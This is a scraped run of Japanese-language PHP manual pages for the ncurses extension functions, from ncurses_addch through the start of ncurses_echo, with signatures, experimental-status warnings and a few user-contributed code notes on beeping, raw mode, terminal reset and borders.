ncurses_end(); // Clean up, and quit
?&gt;

You'll notice the second addstr simply tacks onto the first.


現在の位置に文字を追加し、カーソルを進める

  • ≪ Ncurses 関数
  • ncurses_addchnstr ≫
  • PHP Manual
  • Ncurses 関数
  • 現在の位置に文字を追加し、カーソルを進める

ncurses_addch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addch — 現在の位置に文字を追加し、カーソルを進める

説明

ncurses_addch ( int $ch ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

ch

User Contributed Notes

There are no user contributed notes for this page.


現在の位置に指定した長さの属性付き文字列を追加する

  • ≪ ncurses_addch
  • ncurses_addchstr ≫
  • PHP Manual
  • Ncurses 関数
  • 現在の位置に指定した長さの属性付き文字列を追加する

ncurses_addchnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addchnstr — 現在の位置に指定した長さの属性付き文字列を追加する

説明

ncurses_addchnstr ( string $s , int $n ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

s

n

User Contributed Notes

There are no user contributed notes for this page.


現在の位置に属性付き文字列を追加する

  • ≪ ncurses_addchnstr
  • ncurses_addnstr ≫
  • PHP Manual
  • Ncurses 関数
  • 現在の位置に属性付き文字列を追加する

ncurses_addchstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addchstr — 現在の位置に属性付き文字列を追加する

説明

ncurses_addchstr ( string $s ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

s

User Contributed Notes

There are no user contributed notes for this page.


現在の位置に、指定した長さの文字列を追加する

  • ≪ ncurses_addchstr
  • ncurses_addstr ≫
  • PHP Manual
  • Ncurses 関数
  • 現在の位置に、指定した長さの文字列を追加する

ncurses_addnstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addnstr — 現在の位置に、指定した長さの文字列を追加する

説明

ncurses_addnstr ( string $s , int $n ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

s

n

User Contributed Notes

nweeks at utas dot edu dot au 07-Nov-2002 03:49
Quite handy for truncing fields that may upset a screen layout:

ncurses_addnstr("tenletters",3);

only renders to screen "ten", and truncs the rest


現在の位置にテキストを出力する

  • ≪ ncurses_addnstr
  • ncurses_assume_default_colors ≫
  • PHP Manual
  • Ncurses 関数
  • 現在の位置にテキストを出力する

ncurses_addstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_addstr — 現在の位置にテキストを出力する

説明

ncurses_addstr ( string $text ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

text

User Contributed Notes

There are no user contributed notes for this page.


カラー 0 のデフォルト色を定義する

  • ≪ ncurses_addstr
  • ncurses_attroff ≫
  • PHP Manual
  • Ncurses 関数
  • カラー 0 のデフォルト色を定義する

ncurses_assume_default_colors

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_assume_default_colors — カラー 0 のデフォルト色を定義する

説明

ncurses_assume_default_colors ( int $fg , int $bg ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

fg

bg

User Contributed Notes

There are no user contributed notes for this page.


指定した属性を無効とする

  • ≪ ncurses_assume_default_colors
  • ncurses_attron ≫
  • PHP Manual
  • Ncurses 関数
  • 指定した属性を無効とする

ncurses_attroff

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attroff — 指定した属性を無効とする

説明

ncurses_attroff ( int $attributes ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

attributes

User Contributed Notes

There are no user contributed notes for this page.


指定した属性を有効にする

  • ≪ ncurses_attroff
  • ncurses_attrset ≫
  • PHP Manual
  • Ncurses 関数
  • 指定した属性を有効にする

ncurses_attron

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attron — 指定した属性を有効にする

説明

ncurses_attron ( int $attributes ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

attributes

User Contributed Notes

There are no user contributed notes for this page.


指定した属性を設定する

  • ≪ ncurses_attron
  • ncurses_baudrate ≫
  • PHP Manual
  • Ncurses 関数
  • 指定した属性を設定する

ncurses_attrset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_attrset — 指定した属性を設定する

説明

ncurses_attrset ( int $attributes ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

attributes

User Contributed Notes

There are no user contributed notes for this page.


端末のボーレートを返す

  • ≪ ncurses_attrset
  • ncurses_beep ≫
  • PHP Manual
  • Ncurses 関数
  • 端末のボーレートを返す

ncurses_baudrate

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_baudrate — 端末のボーレートを返す

説明

ncurses_baudrate ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末のビープを鳴らす

  • ≪ ncurses_baudrate
  • ncurses_bkgd ≫
  • PHP Manual
  • Ncurses 関数
  • 端末のビープを鳴らす

ncurses_beep

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_beep — 端末のビープを鳴らす

説明

ncurses_beep ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses_beep() は、耳に聞こえる警告(ベル) を送信ます。送信できなかった場合は画面をフラッシュします。

参考

  • ncurses_flash() - 端末画面をフラッシュする(ビジュアルベル)

User Contributed Notes

divinity76 at gmail dot com 15-Jun-2018 09:36
arplynn's function has a subtle bug, if it's being called while ob_start()'s output buffering is active, it does not make the system beep, and worse, it may corrupt whatever data is being generated under OB, by inserting an unprintable ascii character in it. use fprintf to STDOUT to bypass OB, eg

<?php
function cli_beep() {
    fprintf ( STDOUT, "%s", "\x07" );
}
arplynn at gmail dot com 21-Jan-2006 12:17
If you want to make the terminal beep on a PHP CLI application without needing the ncurses library, use the following code:

<?php

function cli_beep()
{
    echo "\x07";
}

?>


端末画面の背景属性を設定する

  • ≪ ncurses_beep
  • ncurses_bkgdset ≫
  • PHP Manual
  • Ncurses 関数
  • 端末画面の背景属性を設定する

ncurses_bkgd

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bkgd — 端末画面の背景属性を設定する

説明

ncurses_bkgd ( int $attrchar ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

attrchar

User Contributed Notes

There are no user contributed notes for this page.


画面背景を制御する

  • ≪ ncurses_bkgd
  • ncurses_border ≫
  • PHP Manual
  • Ncurses 関数
  • 画面背景を制御する

ncurses_bkgdset

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bkgdset — 画面背景を制御する

説明

ncurses_bkgdset ( int $attrchar ) : void
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

attrchar

User Contributed Notes

There are no user contributed notes for this page.


属性付きの文字で画面周囲に境界を描画する

  • ≪ ncurses_bkgdset
  • ncurses_bottom_panel ≫
  • PHP Manual
  • Ncurses 関数
  • 属性付きの文字で画面周囲に境界を描画する

ncurses_border

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_border — 属性付きの文字で画面周囲に境界を描画する

説明

ncurses_border ( int $left , int $right , int $top , int $bottom , int $tl_corner , int $tr_corner , int $bl_corner , int $br_corner ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

指定した線と角を、メインウィンドウの周りに描画します。

サブウィンドウの周りに境界を描画するには ncurses_wborder() を使用してください!

パラメータ

各パラメータに 0 を指定すると描画を行い、1 を指定すると描画しません。

left

right

top

bottom

tl_corner

左上隅。

tr_corner

右上隅。

bl_corner

左下隅。

br_corner

右下隅。

参考

  • ncurses_wborder() - 属性文字を使用してウィンドウの周囲に線を描画する

User Contributed Notes

krzysztof at uno dot pl 27-Apr-2007 06:35
I've found several undocumented constants, that are very useful to create borders manually:

ACS_ULCORNER
ACS_LLCORNER
ACS_URCORNER
ACS_LRCORNER
ACS_LTEE
ACS_RTEE
ACS_BTEE
ACS_TTEE
ACS_HLINE
ACS_VLINE
ACS_PLUS
ACS_S1
ACS_S9
ACS_DIAMOND
ACS_CKBOARD
ACS_DEGREE
ACS_PLMINUS
ACS_BULLET
ACS_LARROW
ACS_RARROW
ACS_DARROW
ACS_UARROW
ACS_BOARD
ACS_LANTERN
ACS_BLOCK

They all work in UTF8 terminal...
joeldegan AT yahoo.com 14-Dec-2002 09:05
In addition to the lack of ncurses_wborder() documentation.
There is also the lack of the getyx function..
it is different than the getxy function I wrote (and posted to the main ncurses docs page on php.net) to get the max X and max Y values, instead it gives you your current Y and X values.

ncurses_getyx($z, $y, $x);// where $z = a window handle...
# the $y and $x are handed back as globals.
# so beware of using this in a function where you might be
# looping through any variable using those.
# do a 'man getyx' to see.


パネルをスタックの最下部に移動する

  • ≪ ncurses_border
  • ncurses_can_change_color ≫
  • PHP Manual
  • Ncurses 関数
  • パネルをスタックの最下部に移動する

ncurses_bottom_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_bottom_panel — パネルをスタックの最下部に移動する

説明

ncurses_bottom_panel ( resource $panel ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

User Contributed Notes

There are no user contributed notes for this page.


端末の色を変更可能かどうか確認する

  • ≪ ncurses_bottom_panel
  • ncurses_cbreak ≫
  • PHP Manual
  • Ncurses 関数
  • 端末の色を変更可能かどうか確認する

ncurses_can_change_color

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_can_change_color — 端末の色を変更可能かどうか確認する

説明

ncurses_can_change_color ( ) : bool

端末が色を扱えるかどうか、そしてプログラマが ncurses_init_color() で色を変更できるかどうかを返します。 この関数をコールする前に、ncurses を ncurses_init() で初期化しておく必要があります。

パラメータ

この関数にはパラメータはありません。

返り値

プログラマが色定義を変更できる場合に true、それ以外の場合に false を返します。

参考

  • ncurses_has_colors() - カラー端末かどうか確認する
  • ncurses_init_color() - 端末の色を定義する
  • ncurses_start_color() - 色機能を初期化する

User Contributed Notes

There are no user contributed notes for this page.


入力のバッファリングをオフにする

  • ≪ ncurses_can_change_color
  • ncurses_clear ≫
  • PHP Manual
  • Ncurses 関数
  • 入力のバッファリングをオフにする

ncurses_cbreak

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_cbreak — 入力のバッファリングをオフにする

説明

ncurses_cbreak ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses_cbreak() は、行のバッファリングと 文字の処理(文字が影響を受けない割り込みやフロー制御)を無効にし、 ユーザーが入力した文字をすぐにプログラムに渡します。

返り値

true を返します。エラーが発生した場合は NCURSES_ERR を返します。

参考

  • ncurses_nocbreak() - 端末を cooked モードに変更する

User Contributed Notes

php at kormoc dot com 28-Nov-2005 09:16
re satoru's post,
While it's not using cbreak, it sorta is an example. The only difference between raw and cbreak is how control keys are delt with.

Quoted from the ncurses_programming_howto:
Normally the terminal driver buffers the characters a user types until a new line or carriage return is encountered. But most programs require that the characters be available as soon as the user types them. The above two functions are used to disable line buffering. The difference between these two functions is in the way control characters like suspend (CTRL-Z), interrupt and quit (CTRL-C) are passed to the program. In the raw() mode these characters are directly passed to the program without generating a signal. In the cbreak() mode these control characters are interpreted as any other character by the terminal driver.
satoru 05-Nov-2005 11:14
<?php
 /**************************************
  [WARNING!]
  Your terminal may be uncontrollable.

  [HOW TO EXIT]
  Push space key to terminate raw mode.

  [TESTING]
  Tested with FreeBSD5.3R + PHP5.0.5-CLI.
  The option '--with-ncurses' required.
  **************************************/

  $tty = system("tty");
  $handle = fopen($tty, "r");
  if (!$handle)
    exit("cannot open $tty.\\n");

  print "Push space key to terminate.\\n";

  ncurses_init();
  ncurses_raw();
  do {
    $ch = fread($handle, 1);
    printf('[%d] ', ord($ch));
  } while ($ch != " " && ord($ch) != 3);
  ncurses_noraw();
  ncurses_end();
  print "\\n";

  fclose($handle);
?>


スクリーンをクリアする

  • ≪ ncurses_cbreak
  • ncurses_clrtobot ≫
  • PHP Manual
  • Ncurses 関数
  • スクリーンをクリアする

ncurses_clear

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clear — スクリーンをクリアする

説明

ncurses_clear ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

空白を設定せず 完全に画面を消去します。

注意: ncurses_clear() は空白を設定せずに 画面を消去します。つまり、現在の背景の状態が残されるということです。 空白文字で画面を消去するには ncurses_erase() を使用します。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ncurses_erase() - 端末画面を消去する

User Contributed Notes

areaz at dotgeek org 13-May-2004 03:49
When your script exits, after ncurses_clear() was called, it could leave your terminal in an inconsistent state.

Therefore, you should call ncurses_savetty() in a constructor and nurses_resetty() in a destructor, to ensure, that your terminal is working fine after your script exits.

Here is an example code snippet, on how to use this function, without falling into trouble ;-)

<? // PHP5 Example

class foo
{
    /* Foo constructor */
    function __construct()
    {
        /* Initialize ncurses first */
        ncurses_init();

        /* Save your tty !!! */
        ncurses_savetty();
    }

    function bar ()
    {
        /* Clear the screen and wait a few seconds */
        ncurses_clear();

        sleep(5);
    }

    /* Foo destructor */
    function __destruct()
    {
        /* Restore your terminal settings */
        ncurses_resetty();

        /* End ncurses and clean up */
        ncurses_end();
    }

}

$test_ncurses = new foo;
$test_ncurses->bar();
?>


現在位置から最下部までスクリーンをクリアする

  • ≪ ncurses_clear
  • ncurses_clrtoeol ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置から最下部までスクリーンをクリアする

ncurses_clrtobot

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clrtobot — 現在位置から最下部までスクリーンをクリアする

説明

ncurses_clrtobot ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses_clrtobot() は、カーソル位置から 画面の最下部までのすべての行を消去し、空白で埋めます。 ncurses_clrtobot() で作成される空白には 現在の背景設定が使用されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ncurses_clear() - スクリーンをクリアする
  • ncurses_clrtoeol() - 現在位置から行末までスクリーンをクリアする

User Contributed Notes

There are no user contributed notes for this page.


現在位置から行末までスクリーンをクリアする

  • ≪ ncurses_clrtobot
  • ncurses_color_content ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置から行末までスクリーンをクリアする

ncurses_clrtoeol

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_clrtoeol — 現在位置から行末までスクリーンをクリアする

説明

ncurses_clrtoeol ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses_clrtoeol() は、カーソル位置から 行末までを消去し、空白で埋めます。 ncurses_clrtoeol() で作成される空白には 現在の背景設定が使用されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ncurses_clear() - スクリーンをクリアする
  • ncurses_clrtobot() - 現在位置から最下部までスクリーンをクリアする

User Contributed Notes

There are no user contributed notes for this page.


色の RGB 値を取得する

  • ≪ ncurses_clrtoeol
  • ncurses_color_set ≫
  • PHP Manual
  • Ncurses 関数
  • 色の RGB 値を取得する

ncurses_color_content

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_color_content — 色の RGB 値を取得する

説明

ncurses_color_content ( int $color , int &$r , int &$g , int &$b ) : int

指定した色定義から赤、緑、青の各コンポーネントを取得します。 この関数をコールする前に、端末の色機能を ncurses_start_color() で初期化しておく必要があります。

パラメータ

color

情報を取得したい色の番号。定義済みの色定数のいずれかとなるでしょう。

r

赤コンポーネントの値への参照。 返される値は 0 から 1000 までの値となります。

g

緑コンポーネントの値への参照。 返される値は 0 から 1000 までの値となります。

b

青コンポーネントの値への参照。 返される値は 0 から 1000 までの値となります。

返り値

関数が成功した場合は -1、 ncurses や端末の色機能の初期化ができていない場合は 0 を返します。

参考

  • ncurses_init_color() - 端末の色を定義する
  • ncurses_start_color() - 色機能を初期化する

User Contributed Notes

There are no user contributed notes for this page.


前景/背景色を設定する

  • ≪ ncurses_color_content
  • ncurses_curs_set ≫
  • PHP Manual
  • Ncurses 関数
  • 前景/背景色を設定する

ncurses_color_set

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_color_set — 前景/背景色を設定する

説明

ncurses_color_set ( int $pair ) : int

アクティブな前景色と背景色を設定します。 この関数のあとに書いたすべての文字は、指定した色となります。 この関数を使用するには、端末の色がサポートされていてかつ ncurses_start_color() で事前に初期化されている必要があります。

ncurses は、色ペアを使って前景色と背景色の両方を指定します。 色ペアを定義するには ncurses_init_pair() を使用します。

パラメータ

pair

アクティブな色として設定したい、前景色と背景色の色ペア。

返り値

成功した場合に -1、失敗した場合に 0 を返します。

例

例1 指定した色で文字列を画面に書き込む

<?php
ncurses_init();

// 端末が色をサポートしている場合に、初期化してアクティブな色を設定します
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// 指定した位置に文字列を書き込みます
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// 出力をフラッシュします
ncurses_refresh();

ncurses_end();
?>

参考

  • ncurses_init_pair() - 色ペアを定義する
  • ncurses_start_color() - 色機能を初期化する

User Contributed Notes

There are no user contributed notes for this page.


カーソル状態を設定する

  • ≪ ncurses_color_set
  • ncurses_def_prog_mode ≫
  • PHP Manual
  • Ncurses 関数
  • カーソル状態を設定する

ncurses_curs_set

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_curs_set — カーソル状態を設定する

説明

ncurses_curs_set ( int $visibility ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

visibility

User Contributed Notes

dgrimes at scvl dot com 12-Feb-2005 11:12
Valid values are:

0 = Cursor invisible
1 = Cursor normal
2 = Cursor visible


端末(プログラム)モードを保存する

  • ≪ ncurses_curs_set
  • ncurses_def_shell_mode ≫
  • PHP Manual
  • Ncurses 関数
  • 端末(プログラム)モードを保存する

ncurses_def_prog_mode

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_def_prog_mode — 端末(プログラム)モードを保存する

説明

ncurses_def_prog_mode ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses_reset_prog_mode() で使用するために (curses 内の)プログラムの現在の端末モードを保存します。

返り値

成功した場合に false、それ以外の場合に true を返します。

参考

  • ncurses_reset_prog_mode() - def_prog_mode で保存したプログラムモードをリセットする

User Contributed Notes

There are no user contributed notes for this page.


端末(シェル)モードを保存する

  • ≪ ncurses_def_prog_mode
  • ncurses_define_key ≫
  • PHP Manual
  • Ncurses 関数
  • 端末(シェル)モードを保存する

ncurses_def_shell_mode

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_def_shell_mode — 端末(シェル)モードを保存する

説明

ncurses_def_shell_mode ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses_reset_shell_mode() で使用するために (curses 内でない)シェルの現在の端末モードを保存します。

返り値

成功した場合に false、それ以外の場合に true を返します。

参考

  • ncurses_reset_shell_mode() - def_shell_mode で保存したシェルモードをリセットする

User Contributed Notes

There are no user contributed notes for this page.


キーコードを定義する

  • ≪ ncurses_def_shell_mode
  • ncurses_del_panel ≫
  • PHP Manual
  • Ncurses 関数
  • キーコードを定義する

ncurses_define_key

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_define_key — キーコードを定義する

説明

ncurses_define_key ( string $definition , int $keycode ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

definition

keycode

User Contributed Notes

There are no user contributed notes for this page.


パネルをスタックから取り除き、削除する (しかし、関連付けられているウィンドウは削除しない)

  • ≪ ncurses_define_key
  • ncurses_delay_output ≫
  • PHP Manual
  • Ncurses 関数
  • パネルをスタックから取り除き、削除する (しかし、関連付けられているウィンドウは削除しない)

ncurses_del_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_del_panel — パネルをスタックから取り除き、削除する (しかし、関連付けられているウィンドウは削除しない)

説明

ncurses_del_panel ( resource $panel ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

User Contributed Notes

There are no user contributed notes for this page.


パディング文字を用いて端末出力を遅延させる

  • ≪ ncurses_del_panel
  • ncurses_delch ≫
  • PHP Manual
  • Ncurses 関数
  • パディング文字を用いて端末出力を遅延させる

ncurses_delay_output

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delay_output — パディング文字を用いて端末出力を遅延させる

説明

ncurses_delay_output ( int $milliseconds ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

milliseconds

User Contributed Notes

There are no user contributed notes for this page.


現在位置の文字を削除し、残った部分を左に移動する

  • ≪ ncurses_delay_output
  • ncurses_deleteln ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置の文字を削除し、残った部分を左に移動する

ncurses_delch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delch — 現在位置の文字を削除し、残った部分を左に移動する

説明

ncurses_delch ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

カーソルがある位置の文字を削除します。 同じ行でカーソルの右側にある文字が左側にひとつづつ移動し、 その行の最後の文字があった場所は空白で埋められます。 カーソルの位置は変わりません。

返り値

成功した場合に false、 それ以外の場合に true を返します。

参考

  • ncurses_deleteln() - 現在位置の行を削除し、残りの部分を上に上げる

User Contributed Notes

There are no user contributed notes for this page.


現在位置の行を削除し、残りの部分を上に上げる

  • ≪ ncurses_delch
  • ncurses_delwin ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置の行を削除し、残りの部分を上に上げる

ncurses_deleteln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_deleteln — 現在位置の行を削除し、残りの部分を上に上げる

説明

ncurses_deleteln ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

カーソル位置の行を削除します。 現在の行より下の行は 1 行ずつ上に移動します。 ウィンドウの最下行はクリアされます。カーソルの位置は変わりません。

返り値

成功した場合に false、それ以外の場合に true を返します。

参考

  • ncurses_delch() - 現在位置の文字を削除し、残った部分を左に移動する

User Contributed Notes

There are no user contributed notes for this page.


ncurses ウインドウを削除する

  • ≪ ncurses_deleteln
  • ncurses_doupdate ≫
  • PHP Manual
  • Ncurses 関数
  • ncurses ウインドウを削除する

ncurses_delwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delwin — ncurses ウインドウを削除する

説明

ncurses_delwin ( resource $window ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

User Contributed Notes

nigelnquande at yahoo dot com 09-Feb-2014 05:06
I haven't been able to get ncurses_delwin to work, so instead I've been overwriting the window with spaces (which is probably not the best way to go, but it works):

for ($i = 0; $i <= $rows; $i++) {
 ncurses_wmove($window, $i, 0);
 ncurses_whline($window, 32, $cols);
}


準備中の全ての出力を書き込み、端末をリフレッシュする

  • ≪ ncurses_delwin
  • ncurses_echo ≫
  • PHP Manual
  • Ncurses 関数
  • 準備中の全ての出力を書き込み、端末をリフレッシュする

ncurses_doupdate

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_doupdate — 準備中の全ての出力を書き込み、端末をリフレッシュする

説明

ncurses_doupdate ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

仮想スクリーンと物理スクリーンを比較し、 物理スクリーンを更新します。リフレッシュを何度もコールするよりも、 この方法のほうが効率的です。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


キーボード入力のエコーを有効とする

  • ≪ ncurses_doupdate
  • ncurses_echochar ≫
  • PHP Manual
  • Ncurses 関数
  • キーボード入力のエコーを有効とする

ncurses_echo

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_echo — キーボード入力のエコーを有効とする

説明

ncurses_echo ( ) : bool
警告

